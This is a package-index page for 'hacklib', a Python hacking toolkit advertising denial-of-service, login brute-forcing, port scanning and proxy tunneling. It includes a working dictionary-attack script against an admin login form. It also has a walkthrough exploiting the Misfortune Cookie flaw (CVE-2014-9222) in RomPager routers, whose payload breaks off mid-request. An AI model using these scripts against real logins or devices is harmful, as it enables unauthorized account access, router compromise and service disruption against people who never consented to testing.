Skip to main content

Toolkit for hacking enthusiasts using Python.

Project description

hacklib is a Python module for hacking enthusiasts interested in network security. It is currently in active development.

Current Features:

  1. Multi-threaded Denial of Service (DOS) stress-testing

  2. Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins

  3. Port Scanning

  4. Socks4/5 proxy scraping and tunneling

Simple Dictionary Attack example with hacklib.AuthClient:

import hacklib
ac = hacklib.AuthClient()
# Get the top 100 most common passwords
passwords = hacklib.topPasswords(100)
for p in passwords:
    htmldata = ac.login('http://yourwebsite.com/login', 'admin', p)
    if 'welcome' in htmldata.lower():
        print 'Password is', p
        break

Discovery and Exploitation of the Misfortune Cookie Exploit (CVE-2014-9222) with hacklib.PortScanner():

>>> import hacklib

# Discovery
>>> ps = hacklib.PortScanner()
>>> ps.scan('192.168.1.1', (80, 81))
Port 80:
HTTP/1.1 404 Not Found
Content-Type: text/html
Transfer-Encoding: chunked
Server: RomPager/4.07 UPnP/1.0
EXT:
# The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable.

# Exploitation
>>> payload = '''GET /HTTP/1.1
Host: 192.168.1.1
User-Agent: googlebot
Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hacklib-0.1.4.tar.gz (9.2 kB view details)

Uploaded Source

File details

Details for the file hacklib-0.1.4.tar.gz.

File metadata

  • Download URL: hacklib-0.1.4.tar.gz
  • Upload date:
  • Size: 9.2 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No

File hashes

Hashes for hacklib-0.1.4.tar.gz
Algorithm Hash digest
SHA256 b9cb6fabe7ebeb4aeef94642979831471c16148ef143f39a0600d3b07480e215
MD5 42b4d9ab0f4e1b981b6791098145de7c
BLAKE2b-256 e02401ff0c2e57b1c094628afae82561e80c52769342232b5b90bbf55d511dac

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page